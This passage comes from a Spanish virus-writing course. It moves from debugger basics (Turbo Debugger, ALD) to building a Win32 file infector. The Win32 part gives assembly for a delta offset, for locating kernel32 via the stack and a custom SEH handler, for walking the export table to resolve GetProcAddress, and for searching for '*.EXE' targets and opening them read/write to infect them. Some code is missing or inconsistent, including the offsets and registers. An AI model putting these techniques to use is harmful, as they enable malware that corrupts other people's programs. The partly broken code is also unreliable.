Empezando con Turbo Debugger
Arrancarlo es tan sencillo como escribir "TD32 nombrefichero.exe" desde una ventana de Ms-
Dos. Si por ejemplo como parámetro ponemos el fichero c:\windows\telnet.exe, tendremos algo
como esto:
Bueno espero que a nadie le sorprenda a estas alturas que nuestro bonito push ebp no
sea más que un "055h", y que no tenga que explicar de nuevo como hice en el primer
capítulo que lo que hace el procesador cuando ejecuta un programa es coger ese 55h,
decir "ah, eso corresponde a un push ebp" y realizar la operación...
- Registros: Como podéis ver, está bien clarito; al lado del nombre de cada registro
viene su valor. Así, en el momento en que capturé esa pantalla, EIP vale 010081c0,
etc etc. Importante, los registros que vienen a la derecha, todo este tema de z=0, s=1,
etc... vengaaaaa, ¿esa intuición?. Pues sí, efectivamente z=0 indica que el flag de
zero en el registro de flags está a cero, así como o indica overflow, p paridad, c carry
o i inhibición de interrupciones.
Vale, hemos visto al Turbo Debugger en plan estático, pero evidentemente eso no es lo que
queremos; si lo único que queremos es un listado en ensamblador de un fichero, utilizaríamos
los desensambladores, que para algo están xD. Lo que queremos aquí es ejecutar paso a
paso, y podemos hacerlo de las siguientes formas:
En este caso, sin embargo, al dar un paso nos vamos a encontrar con la siguiente situación lo
hagamos con F7 o F8: Veamos, ¿qué ha sucedido? Pues que el "push ebp" se ha ejecutado.
La flecha que está en la barra azul y la propia barra azul se han desplazado un espacio hacia
abajo, señalando a la próxima instrucción que toca ejecutar. Además, vemos que en la parte
dedicada a los registros, hay tres de ellos señalados en blanco. ¿Por qué es así? Bien, es una
forma cómoda mediante la que Turbo Debugger nos indica que el valor de estos registros ha
cambiado después de ejecutar la última instrucción. ESP ha cambiado dado que hemos
empujado un valor a la pila, EIP lo ha hecho porque es el registro que señala la próxima
instrucción a ejecutar.
-Ejecutar todo el programa: Para ello tenemos la opción "run". La opción "run" se
activa con la tecla F9, y ejecuta el programa hasta el final a no ser que hayan... a no
ser que haya lo que llamamos "breakpoints", que es una de las cosas más útiles que
nos dan las utilidades de debuggeo.
Breakpoints
El propio nombre lo dice, Breakpoint significa "punto de ruptura". Imaginad que el fallo en
vuestro programa pensáis que debe estar algo así como en la línea 400, donde se producen
tal y cual instrucciones. No puedes ejecutar paso a paso hasta allí porque es un maldito
coñazo, ni puedes hacer un "Run" porque lo ejecuta hasta el final y es un tanto estúpido. Así
pues, lo que utilizas son Breakpoints.
De donde bajarlo
Turbo Debugger, aunque se puede encontrar como programa aparte, viene con el TASM
normalmente, con lo que si tenéis uno tenéis el otro y fuera problemas ;-).
ALD (Linux)
Introducción
Bueno, dado el hecho de que antes ya he explicado un poco como funciona un debugger y
esas cosas, esta sección va a ser deliberadamente bastante corta; básicamente, voy a explicar
cómo hacer lo mismo que antes con un debugger bastante sencillito para Linux y que para
hacer cuatro cosas no está nada mal. Además tiene una ventaja y es que se parece bastante al
Debug de Ms-Dos, con lo que los que lo hayan usado tardarán pocos minutos en sacarle buen
partido. Vamos pues con ALD, o Assembly Language Debugger:
Bases de funcionamiento
ALD es una aplicación que funciona en modo texto, por lo que no vamos a tener ni ventanitas
con menús ni demás pijaditas que venían por ejemplo con el Turbo Debugger. Esto, no implica
que vaya a ser complejo en su funcionamiento. Al contrario, es muy rápido aprender las cuatro
cosas que aprendimos con TD y seguir averiguando por nuestra cuenta el resto de opciones
que posee.
Veremos que estamos en una línea de comandos, el programa nos pide que
introduzcamos palabras para decirle qué hacer a continuación. Listo algunas interesantes:
-help: Una de las más importantes :-). Nos sacará un listado con todos los comandos
que podemos utilizar, e igualmente podremos escribir "help comando" para obtener
más detalles de una en particular.
-s (step) y n (next): Se trata de los dos equivalentes a step y trace que vimos en
Turbo Debugger. Ejecutaremos con ellos paso a paso las instrucciones del fichero
desensamblado, y a cada paso (cada vez que introduzcamos el comando), se nos
mostrará la próxima instrucción a ejecutar y el contenido de los registros.
-load : Si hemos cargado el ALD sin poner como parámetro un fichero, con la órden
load podemos cargarlo ahora (o elegir otro).
En fin, ya dije que esta sección dedicada al ALD iba a ser deliberadamente breve; no es
pereza, sencillamente los conceptos básicos como qué es un breakpoint o para qué sirve un
debugger ya los expliqué en la sección anterior. Turbo Debugger y ALD sirven para lo mismo y
tienen la misma base de funcionamiento, sencillamente el entorno en que funcionan es
diferente y es este el que he intentado introducir un poco.
Donde conseguirlo
Introducción
Bueno, aviso que esta entrega va a dar mucha cañita... reescribo este apartado de
introducción cuando aún no he acabado el apartado 7.1.3, y ya me doy cuenta de que estoy
metiendo una cantidad de conceptos bestial en un sólo tutorial; pero yo ya lo avisé eh ;-).
Primero empezamos con una descripción de lo que es el Delta Offset (necesario para
cualquier SO), luego con cómo sacar las funciones de la API de Windows, y de ahí al infinito y
más allá xD. La parte de infección en sí, no obstante, tiene el apartado 7.2 para ella solita.
El "Delta Offset"
El Delta Offset no es una técnica que vayamos a necesitar sólo bajo Windows, sino en general
con cualquier entorno en el que queramos programar un virus. Surge debido a cierto problema
al que es la solución más sencilla.
Cuando uno coge tan feliz y compila su programa en ensamblador todo va con suerte perfecto,
sí, pero... cuando en nuestro código hacemos una referencia a una etiqueta para coger datos,
como mov eax,[datos], pues en la primera generación va bien, ¿por qué? Pues porque
"datos" se codifica como por ejemplo 0401444h, con lo que cuando accedemos a [datos] en
realidad lo que hay codificado al compilarlo es mov eax,[0401444h]. Esto, se debe a que el
programa va a ser cargado en una determinada región de memoria (una común es 0400000h),
con lo que el compilador que genera el ejecutable presupone que el lugar "datos" siempre va a
estar en el mismo sitio.
Eso sería cierto, de no ser porque si infectamos un archivo vamos a estar en un
desplazamiento diferente, con lo que si se repite ese "mov eax,[datos]", en la
dirección 0401444h puede haber cualquier cosa. Incluso aunque también se hubiera iniciado el
programa infectado en la dirección0400000h, nuestro "datos" podría estar en cualquier lado,
por ejemplo 0409123h. Ahí tenemos el problema, que acceder a datos (porque esto sólo
sucede con datos que referenciamos con etiquetas pero NO con saltos tipo JMP o
condicionales, o CALLs) se nos hace un poquito difícil así, y si símplemente dejamos el "mov
eax,[datos]" pues el virus va a reventar en cuanto infecte su primer archivo.
Ahora bien, como digo existe una solución bastante sencilla, aunque nos va a dejar ocupado
uno de los registros de forma permanente, que es esta técnica del Delta Offset. La base, es
averiguar el desplazamiento relativo al inicio del virus respecto al desplazamiento en el fichero
original, y sumarlo siempre que se haga una referencia a datos dentro del propio virus. Sí,
suena muy complicado así que pongamos código:
pop ebp
Tan sencillo como eso. Cuando hacemos un call al offset Delta, lo que estamos haciendo en
realidad es guardar en la pila el valor de ese offset; es decir, que si Delta estuviera
en 0401003h, el pop ebp daría ese valor el registro ebp. Así, en la primera generación del
virus (es decir, recién compilado), su valor será ebp = 0. Que por cierto, este inicio típico es
una forma perfecta para detectar la mitad de los virus que hay para Windows sin más
herramienta que el Turbo Debugger (si las primeras líneas hacen algo equivalente a esto,
malo malo).
Ahora, supongamos que hemos infectado un archivo y que por tanto en él lo primero que se
ejecuta son las tres líneas de código introducidas anteriormente. Pues bien el valor de ebp
ahora va a ser el de (Delta actual - 0401003h). Esto, indica la diferencia que hay positiva o
negativa entre el lugar de una posición de memoria al principio (cuando Delta era 401003h) y
ahora. Es decir, si ahora Delta estuviera en 0401013h, ebp valdrá 10h (y esto será válido
sea cual sea el valor actual de Delta, pues la órden (sub ebp, Offset Delta) ya tiene codificado
Delta = 0401003h en el compilado original).
Por tanto, para acceder a cualquier dato referenciado por una etiqueta dentro de nuestro
código, en lugar de hacer un mov eax,[valor], haremos un mov eax,[valor+ebp] lo cual
corregirá ese movimiento de dirección base dejándonos pues que el virus funcione sin
problemas se cargue donde se cargue.
Para acabar este extenso apartado dedicado al Delta Offset, pongamos un ejemplo distinto de
cómo hacerlo; eso sí, esta vez no explicaré cómo funciona, esto lo dejo como ejercicio
mental ;-)...
mov esi,esp
lodsd
ret Continuar:
Llamar a la API del sistema, que invariablemente vamos a tener que utilizar, no es tan sencillo
en un sistema como Windows como lo es en Linux y Ms-Dos. En estos dos últimos basta con
una llamada a una interrupción, pero en Windows la cosa se pone difícil. Como recordaréis en
el capítulo V cuando hablamos sobre API en distintos SO (este es un buen momento para
mirarlo otra vez), bajo sistemas Win32 la forma de llamar a las funciones de sistema es
empujando los parámetros y llamando a una dirección de memoria. Es decir, que normalmente
la llamarías con algo como esto:
Inicio:
push MB_ICONEXCLAMATION
push offset Titulo
push NULL
Es decir, que para hacer la llamada vamos a tener que empujar una serie de valores en la pila
(en este caso el icono de la ventana, offset del título y el texto y un valor NULL que indica el
tipo de botones que va a tener, en este caso sólo uno de "aceptar") y luego hacer un call a
"MessageBoxA", es decir, a la función de la API encargada de imprimir el texto.
Sin embargo, quizá os habréis dado cuenta de que a nosotros este sistema no nos va a
servir, por el mismo motivo por el que necesitábamos el Delta Offset. ¿Cómo funciona el
tema de las API en Windows? Bien, nosotros programamos algo como esto, y al compilarse
en el ejecutable hay una "tabla de importaciones" que indica qué funciones y de qué DLLs se
van a utilizar. Efectivamente, las funciones a las que llamemos, que si MessageBoxA, que
siExitProcess, que si CreateFileA, todas se importan de DLLs de Windows; precisamente, es
que la utilidad de las DLLs es la de proporcionar estas APIs a programas que lo soliciten.
La mayor parte de las APIs que vamos a utilizar se encuentran en un sólo fichero, que
encontraréis en vuestro directorio C:\Windows\System. Este fichero, se llama Kernel32.DLL y
contiene la mayor parte de funciones referentes a funciones I/O como acceso a ficheros,
directorios, etc; de hecho, es bastante probable que nos sobre con esta librería de cara a
escribir un virus para Windows.
Sé que cada vez que hablo hago que suene más complicado O:), pero vamos a joderla un
poquito más. Los parámetros (esto lo acabo de cortar/pegar del fichero Win32.hlp, que os
aconsejo que busquéis por Internet o en el SDK de Microsoft, puesto que describe la mayoría
de las funciones importantes) son dos; un puntero (eso que pone lpProcName) a un nombre
de una función de la que queremos obtener su dirección, y un handler, "hModule", que se
refiere a la propia DLL.
Ahora la pregunta es, ¿qué coño es ese handler? Es decir, vale, yo empujo a la pila un puntero
a "MessageBoxA", pero, ¿qué uso como handler?. Pues bien, el handler es el resultado de otra
API, GetModuleHandle, que vemos a continuación:
Así pues, para poder obtener el handler que hay que utilizar en GetProcAddress, tendremos
que llamar a GetModuleHandle pasándole como parámetro un puntero a una cadena de texto
en la que ponga "db 'KERNEL32.DLL',0".
Pero algunos se habrán dado cuenta ya de que aquí hay algo que falla y que esto es un poco
como lo de qué fue primero, si el huevo o la gallina. Antes he dicho que el motivo para usar
GetProcAddress es que las direcciones varían según subversiones de Windows; sin
embargo,GetModuleHandle es una API que también pertenece a Kernel32.DLL. ¿Entonces?
¿Qué pasa, que estamos como al principio? Pues en cierto modo sí, y en cierto modo no.
Está claro que estamos en un círculo cerrado en el que no hay dios que obtenga la dirección de
una API. Pero como el Laberinto siempre te da una oportunidad (Haplo rulez, yo me entiendo
xD), efectivamente hay no sólo una sino más de una formas de obtener estas direcciones de
funciones de la API. La más evolucionada y que ahora se utiliza más es algo compleja, pero al
tiempo hermosa ;-), y creo que es la que debo explicar.
Ahora pensemos un poco "hacia atrás". Cuando nuestro virus se ejecute, esto es resultado de
que se está ejecutando un fichero. ¿Y qué función de la API de Windows hace que se ejecute
un fichero? Pues una que se llama CreateProcess. Coño, si CreateProcess está en
Kernel32.DLL, que cosas, ¿verdad?. Pues justo, por ahí vamos a hacernos a la idea de dónde
está el Kernel32.DLL independientemente de dónde estemos. Pensad que para ejecutar
CreateProcess el código de Windows hace algo como esto:
call Kernel32.CreateProcess
Hmmmm sí, fijaos que es un call como los que nosotros usamos. Y por unas casualidades de la
vida, el último call que llama al programa ejecutable, se está haciendo desde Kernel32.DLL. Un
call lo que hace es empujar a la pila el valor del registro EIP actual, ¿verdad?. Y además, como
nuestro virus es lo primero que se ejecuta al arrancar un programa... ¿os imáginais donde se
encuentra la dirección de retorno de ese último CALL? Voilá, precisamente en ss:[esp+8h],
casi justo en la pila (los dos primeros valores son puntero a argumentos pasados al programa y
nombre del programa),... así de majos que son los del Windows que nos lo dejan a tiro xD.
Vale, el valor que encontramos ahí no va a ser exáctamente el valor que estamos buscando, la
dirección base sobre la que se ha cargado Kernel32.DLL y que nos daría el GetModuleHandle.
Sin embargo y dado que Kernel32.DLL es un ejecutable como cualquier otro, sabemos que
tiene una cabecera de ejecutable; esto significa por tanto que al principio tiene que haber una
cadena de texto "MZ" que indique el principio del ejecutable (como nota histórica, se dice que
estas iniciales, también presentes en ejecutables de Ms-Dos, se deben a que el autor del
formato EXEera un programador llamado Mark Ziblowsky).
En fin, que en caso de que estéis en un Windows 95 o 98 lo más probable es que la dirección
ahí encontrada sea algo tipo 0BFF9A173h, por poner un ejemplo (esta dirección ejemplo es
0BFF70000h + 2A173h, sería que la función CreateProcess se encuentra en esa dirección).
En cualquier caso, tener algo como 0BFF9A173h es mucho mejor que no tener nada si tu virus
no sabe si está en Win95, en NT o en qué otro de tantos sistemas Windows. Pero eso sí,
¿cómo cohone sacamos ahora de algo como eso la dirección base de la DLL?. Pues bien, el
método más práctico es, si tenemos en EAX ese valor, hacer un bucle como este:
and eax,0FFFF0000h Bucle: sub eax,10000h cmp word ptr [eax],'MZ' jnz Bucle
¿Qué estamos haciendo con esto? Bien, lo primero es cargarnos las tres últimas cifras del
numerajo que nos han dado, así en nuestro ejemplo tendríamos 0BFF90000h. Así, le restamos
10000h y buscamos 'MZ'. Si estamos en Win95/98 no será así, con lo que el jnz Bucle actúa y
volvemos. Ahora, sub eax,10000h lo convierte en eax = 0BFF70000h. Y efectivamente, ahí
está el MZ y tenemos la dirección base del Kernel32.DLL.
Bueno, se me ha olvidado un pequeño problemilla por el que nos puede petar también, pero es
que las cosas una a una xD. Resulta que como dijimos en el primer o segundo capítulo de este
curso de virus, Windows, como todo sistema operativo más o menos "actual", funciona por
páginas de memoria de un determinado tamaño, de las que a algunas tenemos acceso de
escritura y/o lectura, y algunas no. ¿Cuál es el problema? Que si accedemos a una página de
memoria a la que no tenemos permisos de lectura, el Windows se nos va a cabrear y nos dirá
MEEEEEEEEEEEC!!!!!!!!! MAAAAAAAAAAAAAAAAAL!!!!!!!, el programa se va a parar y va
a cantar un poquito que hay un virus y tal xD.
Ahora, para solucionar esto (joder la verdad es que estoy metiendo cañita en esta entrega,
¿eh? x)) tenemos que pensar, ¿qué pasa cuando el Windows se cabrea y dice que muy mal
porque has intentado leer desde donde no tenías permiso? Pues que se genera lo que se
llama unaexcepción de fallo de página. Una excepción, si recordáis, es una especie de
interrupción a la que llama el sistema operativo cuando pasa algo raro; por ejemplo, existe la
excepción de división por cero, la de fallo de página y otras cuantas.
Por tanto, y dado que Windows nos lo deja fácil puesto que podemos tocar las rutinas de
manejo de excepciones, pues nosotros mismos podemos solucionar este problema. Para ello,
toquetearemos una estructura llamada Structured Exception Handler (SEH). Y como sigo
pensando que nada como un poco de código, veamos este:
SEH: xor edi,edi ; edi = 0 push dword ptr fs:[edi] mov fs:[edi],offset SEH_Handler mov
eax,dword ptr ds:[esp+8] and eax,0FFFF0000h Bucle: sub eax,10000h cmp word ptr [eax],'MZ'
jnz Bucle > SEH_Handler: mov esp,dword ptr ds:[esp+8] ; Restaurar pila jmp Bucle
Ay la ostia pero que es todo esooooooo vale ahí vamos. Del SEH, Structured Exception
Handler, nos va a interesar un puntero que se encuentra en la dirección de memoria fs:[0]. Para
ello hacemos edi = 0, y empujamos a la pila el valor que hay en fs:[edi], o sea, en fs:[0]. Luego,
colocamos en fs:[0] el offset de nuestro handler, con lo que a partir de ahora cada vez que se
produzca una excepción de esas que nos joden, pues el control pase a la rutina
"SEH_Handler". El único modo de que se produzca una excepción es, como he dicho, que
accedamos a una página de sólo lectura, lo cual sólo puede pasar cuando ejecutamos la
instrucción "cmp word ptr [eax],'MZ'". Lógicamente y dado que para Kernel32.DLL tenemos
permiso de lectura, si peta es que no estamos en él con lo que lo mejor es que sigamos
restando 10000h y mirando de nuevo si coincide el MZ. Por eso, la rutina de SEH_Handler
consiste primero en restaurar la pila como estaba antes (acción tipo aqui-no-ha-pasao-ná), y de
nuevo saltar al Bucle para que siga haciendo sus cosillas.
Por supuesto, después de hacer esto tendremos que restaurar el SEH original y esas cosas;
no tendremos más que popearlo a fs:[0] de nuevo. Por cierto, hay una forma más elegante de
hacer todo esto con un call que deja en [esp] la rutina del SEH_Handler pero he preferido que
se entienda antes de optimizar y tal. Cosa vuestra sacarla ;-).
En fin, que después de toda esta movida ya tenemos la dirección base de Kernel32.DLL. Vale,
ha sido un esfuerzo bastante grande pero merece la pena y ahí la tenemos con nosotros. La
única pena es que ni siquiera acabamos de empezar, puesto que todavía nos queda encontrar
la dirección física de GetProcAddress. Pero aunque no os lo creáis, lo que queda es sencillo
con una buena referencia a mano como el libro de Matt Pietrek (Windows Programming
Secrets) que recomiendo a todo el que se quiera meter a sako en virus para Windows... el tío
es el amo xDDD, es un texto a bajo nivel sobre Windows que habla desde procesos a formato
de ficheros a... yoquesé... por cierto que es raro de encontrar y creo que ya no se imprime,
pero al menos la parte de formato ejecutable de Windows (un capítulo entero) está circulando
gratis por Internet así que buscando por Matt Pietrek y el título del capítulo (The Portable
Executable and COFF OBJ Formats), lo encontráis fijo. Me parece que voy a poner hasta
una mini-bibliografía al final de este capítulo, porque documentación para Windows si bien es
escasa la que hay es como oro en paño...
Bueno, mis comentarios de pelotilleo barato a Matt Pietrek os han dejado descansar unos
segundos valiosos para tomar aire, pero ahora, formato PE en mano (PE, Portable Ejecutable,
exes de Windows), vamos a ver de donde sacamos ese maldito GetProcAddress que tanto
nos está costando ya que al menos sabemos que handler pasarle.
Vale, pues empezamos explicando una cosa graciosa sobre los ficheros PE en Windows. Para
empezar, su cabecera "básica" es la misma que la de un EXE de Ms-Dos, ¿por qué? Pues por
compatibilidad hacia atrás. Así si ejecutas en Ms-Dos un fichero de Win32, te saldrá el
mensaje de "Que no, que no tienes Windows". La parte que imprime eso se llama "Dos Stub",
y como Windows está muy optimizado, cuando carga una DLL o un ejecutable en memoria no
se olvida de cargar también este Dos Stub aunque no sirva para nada.
El caso es que como vimos antes, un PE empieza por la cadena MZ, la de los antiguos
ejecutables. Lo interesante es que cuando se trata de un PE, en el offset 03eh respecto al
principio de la cabecera PE tiene una RVA al inicio de la cabecera PE real. Jejeje, si,
una"RVA". Ale, otro término a explicar: RVA significa Relative Virtual Address, o sea, que
es una dirección relativa respecto al principio del programa. En pocas palabras, que si la base
del Kernel32.DLL era 0BFF70000h y una RVA dentro de él dice "1111h", lo que tendremos
que hacer será sumar esa dirección base y la RVA, haciendo 0BFF71111h en este caso.
Así pues, en el offset 03ch tenemos la RVA a la cabecera PE, en este caso del
Kernel32.DLL dado que estabamos buscando la dirección de la dirección virtual de
GetProcAddress. El inicio de la cabecera PE (podemos comprobarlo pero no hace falta,
Kernel32.DLL fijo que es un fichero PE ;) ) está formado por las letras PE y dos bytes a
cero (PE\0\0). A partir de aquí, es desde donde vamos a encontrar la dirección que tanto
ansiamos.
¿Lo siguiente? Pues bueno, vamos a llamar .edata al lugar al que apuntaba esta RVA.
Además la sección de exportaciones se llama .edata siempre así que queda mejor de esa
forma. Pues bien, en [.edata+20h] tenemos otra RVA (y van...) que esta vez es lo que
llamamos el "AddressOfNames", que es una lista de RVAs, cada una al nombre de una API.
Por supuesto, a cada RVA hay que sumarle la dirección base del Kernel32.DLL...
Veamos lo que hemos estado haciendo con un dibujo, que se entenderá mucho mejor:
O sea, que con la RVA en MZ+3ch hemos visto un sitio en el que en 78h tenemos otra RVA,
esta vez a la tabla de exportaciones, y su AddressOfNames nos lleva a otra lista de RVAs de
las cuales cada una apunta a un nombre. Bien, ahora resulta fácil pensar lo que tenemos que
hacer, ¿verdad?. Tenemos que coger esa lista de RVAs y comprobar los nombres hasta que
demos con uno que sea "GetProcAddress". La cosa es algo más complicada y vamos a tener
que tirar de AddressOfOrdinals y AddressOfFunctions, pero de momento no vamos mal con
esto.
Así pues, lo indicado en el dibujo unido a la comparación de los nombres se puede hacer
en un listado ensamblador como el siguiente:
; EDI tiene la dirección a MZ, o sea, a la base de kernel32.dll mov eax, dword ptr ds:[edi+03ch]
add eax, edi ; añadimos edi por lo de la RVA, recordemos mov esi, dword ptr ds:[esi+078h] add
esi, edi ; ahora ya tenemos la sección de exportaciones mov edx, dword ptr ds:[esi+020h] xor
ecx, ecx Bucle: mov eax, dword ptr ds:[edx] add eax, edi cmp dword ptr ds:[eax],'PteG' jnz
NoLoEs cmp dword ptr ds:[eax+4h],'Acor' jnz NoLoEs cmp dword ptr ds:[eax+8h],'erdd' jnz
NoLoEs jmp Cojonudo ; Llegamos a NoLoEs si el nombre no coincide NoLoEs: add edx,4h ;
para apuntar al siguiente RVA de la lista inc ecx jmp Bucle Cojonudo:
Evidentemente hay formas bastante menos bestias de hacerlo que ésta, y recomiendo al
programador buscarla... y ahora, llega la parte divertida, ¿pa que coño vale esto si yo ya me
sabia el nombre? Vale lo he encontrao soy la ostia pero esto no me vale pa ná. Pues sí, si que
vale; si miráis el código de antes hay algo que no sabréis a qué viene, y es la modificación
sobre ECX... que se incrementa cada vez que fallamos. ¿Por qué lo estamos incrementando?
Ah amigo, ahí está la madre del cordero.
; Tenemos en ECX el numero de desplazamientos del bloque de antes. rol ecx,1h mov
edx,dword ptr ds:[esi+24h] ;AddressOfNameOrdinals add edx,edi ; edi = base del kernel add
edx,ecx movzx ecx,dword ptr ds:[edx] mov edx,dword ptr ds:[esi+01ch] add edx,edi rol ecx,2h ;
* 4 add edx,ecx mov eax,dword ptr ds:[edx] add eax,edi ; Ajustamos a la base kernel
Con estas líneas de código, tenemos ya el GetProcAddress, con lo que vamos a poder sacar
llamando con CALL a esa función, las direcciones del resto de las funciones de Kernel32.DLL
que vamos a necesitar. Os aconsejo que os montéis un bucle que tenga en cuenta el número
de funciones que queréis extraer y vaya llamando recursivamente a GetProcAddress de una
forma como esta:
; Tenemos en ECX el numero de desplazamientos del bloque de antes. mov dword ptr ds:
[GPAddress+ebp],eax push offset direccion + ebp ; direccion del nombre de la función push
edi ; La dirección del kernel call GetProcAddress GPAddress equ $-4 direccion: db
'FuncionQueQuiero',0 ; el ,0 es importante :)
Como veis, para llamar a GetProcAddress tenéis que empujar la dirección donde tenéis en
vuestro virus cada nombre de la API, luego la dirección base del kernel32.dll y llamar. Ah, se
me olvidaba, como veréis con la dirección de la función GetProcAddress lo que hago es
moverla a [GPAddress+ebp]. La razón en sencilla, así el resultado se rellena en el call y se
puede hacer la llamada a la dirección que acabamos de extraer.
Un último apunte antes de acabar esta sección, es algo que yo me pregunté cuando lo vi y me
imagino que vosotros igual... ¿para qué tener un array, o sea, una lista de RVAs de nombres
de función, luego una lista de ordinales para relacionar el órden en que están en esa lista con
un ordinal y finalmente una lista por número ordinal para acceder a la función? O sea, ¿para
qué tres listas cuando podría haberse hecho una sóla con por ejemplo bloques de dos campos
que contuvieran la dirección de la función y otro la RVA al nombre de la API?
Evidentemente una solución como la segunda sería más optimizada y más cómoda para el
programador, ¿por qué liar las cosas tanto de una forma tan absurda? Pues la respuesta es
simple... ¿se os ha olvidado que estamos en Windows?. Windows es así de inútil, así de
absurdo... y a quien no le convenzan mis argumentos puede buscar en Internet un fichero
llamado dancemonkeyboy.mpg cuyo protagonista es Steve Balmer, presidente de Microsoft.
Y eso que no os cuento cómo se guarda la fecha en los ficheros, que entonces si que ibais a
pensar que estos tíos programan de tripi... para el que tenga curiosidad que se mire la
estructuraFILETIME en Windows (en el famoso Win32.hlp que necesitaréis viene), eso sí,
recomendado fumarte unos canutos y mirarlo con algún colega programador y aprovechar así
el "momento risas", sobre todo si a partir de eso intentáis hacer código para averiguar cual es
la fecha del archivo xDDDDD. Será todo lo Universal Time de Supadre que quieras pero...
xDDD
Pero bueno dejemos de meternos con Windows, que es tiempo de buscar ficheros para
infectar y además acabo de descubrir una nueva gran funcionalidad dada la maravillosa
integración de IExplorer y Windoze, que es que puedes marcar favoritos en tu papelera de
reciclaje ^^
Esto va a ser bastante más simple que todo lo que hemos hecho anteriormente, y nos servirá
como un descanso después de esto; las funciones para buscar ficheros son, por suerte,
bastante sencillas. Lo único que vamos a tener que indicarle a estas dos
funciones,FindFirstFileA y FindNextFileA, es un offset con la máscara del tipo de archivo a
buscar. Lo más típico, será que utilicemos algo como '*.exe' para ir buscando los ejecutables
del directorio actual.
La cosa es sencilla; una vez que hagamos un FindFirst, usaremos el resto de las veces
FindNext hasta que no encontremos nada más (que nos será indicado en lo que nos devuelva
en EAX la función). Descripción de las funciones y código:
WIN32_FIND_DATA STRUC
FT_dwLowDateTime DD ?
FT_dwHighDateTime DD ?
FILETIME ENDS
Por cierto, que esto puede meterse en un include :). Aquí código, escrito de forma sencillita:
; Esto para el FindFirst lea eax,[Find_Win32_Data+ebp] push eax lea eax,[Search_File+ebp]
push eax mov eax,dword ptr [API_FindFirst+ebp] call eax ; Esto para FindNext (por ejemplo)
lea eax,[Find_Win32_Data+ebp] push eax push ebx mov eax,dword ptr [API_FindNext+ebp] call
eax Search_File: db '*.EXE',0 ; Para encontrar solo EXEs ;)
Y en fin, con más código que explicaciones (al fin y al cabo esto ya no es tan complicado ¿no?
sólo es una estructura sobre la que se escriben los resultados de las llamadas), ya tenemos
escrita la base mínima de un virus para Win32.
Introducción
Hasta ahora ya hemos obtenido la forma de resituar los accesos a datos mediante el Delta
Offset, llamar a la API de Windows y finalmente buscar ficheros; ¿y ahora qué? Bueno, pues
ahora es el momento en el que nuestro bichito se ha encontrado con un fichero EXE (porque
la máscara para buscar ficheros es *.EXE), y tiene unas ganas muy terribles de infectarlo.
Ayudémosle:
Existen habitualmente dos formas distintas de acceder a ficheros; una, la clásica, en realidad
es bastante engorrosa y deberíamos olvidarnos de ella cuanto antes, porque supone un gasto
absurdo de tiempo y espacio. La otra, ficheros mapeados en memoria, es la que vamos a
utilizar.
El caso es que el sistema bueno para manejar ficheros, que usaremos tanto en Win32 como en
Linux, es lo que se conoce como "ficheros mapeados/proyectados en memoria", muchas veces
en Windows simplemente se dice MMF, Memory Mapped Files.
La base de este sistema está en el sistema de paginación que describí allá por los principios
del curso de virus; en lugar de ir cargando y escribiendo porciones del fichero, lo que se hace
al abrir un fichero por mapeado en memoria es hacer que unas cuantas páginas del proceso
(dependiendo del tamaño del fichero abierto) se asignen a las posiciones de disco que
contienen el fichero. Para entender esto supongamos un fichero de 11Kb y que el tamaño de
páginas es de 4Kb. Así, se haría que la primera página apuntase a los 4 primeros Kbytes del
fichero, la segunda a los 4 segundos y la tercera a los 3 que faltan. Pero estas páginas no
contienen los datos en sí del fichero, sería absurdo cargarlo todo diréctamente puesto que
hay partes del fichero a las que vamos a acceder y partes a las que no.
Entonces, cuando accedamos a una parte de fichero en lectura por primera vez accediendo a
las posiciones de memoria de las páginas, el SO va a generar un error de fallo de página
puesto que se intenta acceder a un trozo de memoria que no está ahí sino que reside en el
disco duro (como sucede cuando una página ha sido desalojada de memoria principal para
meterse en el disco duro, con el sistema de memoria virtual). El caso es que al surgir esta
excepción de fallo de página el SO va a traer a memoria esa página con lo que se realizará la
lectura; pero sólo de la parte a la que hemos accedido.
Las ventajas son evidentes; no tenemos que estar pendientes de llevar un puntero de acceso
al fichero manejado por la API sino que simplemente accedemos a memoria y escribimos en
ella para hacerlo sobre el fichero. Cuando cerramos el fichero, los cambios que hemos hecho
en las páginas correspondientes al fichero se actualizan en el disco duro.
Pasando ahora un poco a la práctica, vamos a necesitar tres funciones para realizar la
apertura de ficheros en Windows mediante Memory Mapped Files:
HANDLE CreateFile(
);
Esta es la ayuda que nos presenta el Win32.HLP. De aquí podemos ver que lpFileName es un
puntero al nombre del fichero (que sacaremos de la estructura WIN32_FIND_DATA de antes,
cuando buscamos ficheros), en DesiredAccess tendremos opciones de lectura y escritura
(GENERIC_READ y GENERIC_WRITE), dwShareMode trata sobre la compartición del fichero
abierto, lpSecurityAttributes (que no necesariamente es soportado, atributos de seguridad del
fichero), dwCreationDistribution que trata sobre la forma de acceder (¿si no existe lo
creamos? ¿si existe sobreescribimos? ¿sólo lo abrimos? etc), y otros dos sobre opciones de
acceso que tampoco trataremos en detalle; tampoco hace falta darle demasiadas vueltas, con
una fórmula sencilla estará solucionado y no hay que tenerlo todo en cuenta:
push 0 push 0 push 3 push 0 push 1 push 0C0000000h ; Read/Write access lea eax,
[Find_Win32_Data+WFD_szFileName+ebp] push eax call dword ptr [API_Create+ebp] ; Delta
offset en ebp
Ah por cierto fijáos que la forma de empujar los parámetros es en el órden inverso al descrito
en las funciones de win32.hlp, que luego nos rallamos por la tontería cuando el fallo era ese
xD. Bueno, a lo que iba; dwFlagsAndAttributes y hTemplateFile no nos importan :) y
empujamos un cero a la pila. El 3 que empujamos con dwCreationDistribution indica
OPEN_EXISTING, es decir, abrir y punto sólo si existe el fichero. El siguiente cero que
empujamos es porque no necesariamente tiene estructura de atributos de seguridad (esto se
aplica en NT por ejemplo, pero no en un 95/98 donde no existen estos sistemas de
seguridad). El 0C0000000h se refiere al acceso deseado (lectura/escritura) y finalmente el
W32_Data+WFD_szFileName indica el offset respecto a la estructura Win32_Find_Data donde
se encuentra el nombre obtenido mediante FindFirst/FindNext.
El caso es que esta llamada a función nos devolverá un "handler" en EAX. Este handler es un
valor que más nos vale conservar, pues se va a utilizar como referencia para manejar el
fichero en posteriores ocasiones; la cosa es sencilla, en los datos internos del proceso que se
está ejecutando (en este caso un fichero infectado con nuestro virus) hay una serie de
"handlers" o descriptores que se relacionan con ficheros abiertos (aparte de, de forma
standard, con el input, output, etc, pero esto ya es otra historia). Esta, es la forma en que se
manejan los ficheros; el descriptor o handler que tenemos en EAX es la referencia para poder
seguir operando con el fichero abierto.
Esto sería la comprobación justo posterior a la apertura de fichero; salvamos EAX en EBX, y
comprobamos con el Inc EAX si es igual a 0FFFFFFFFh (o -1, que incrementandolo dara cero).
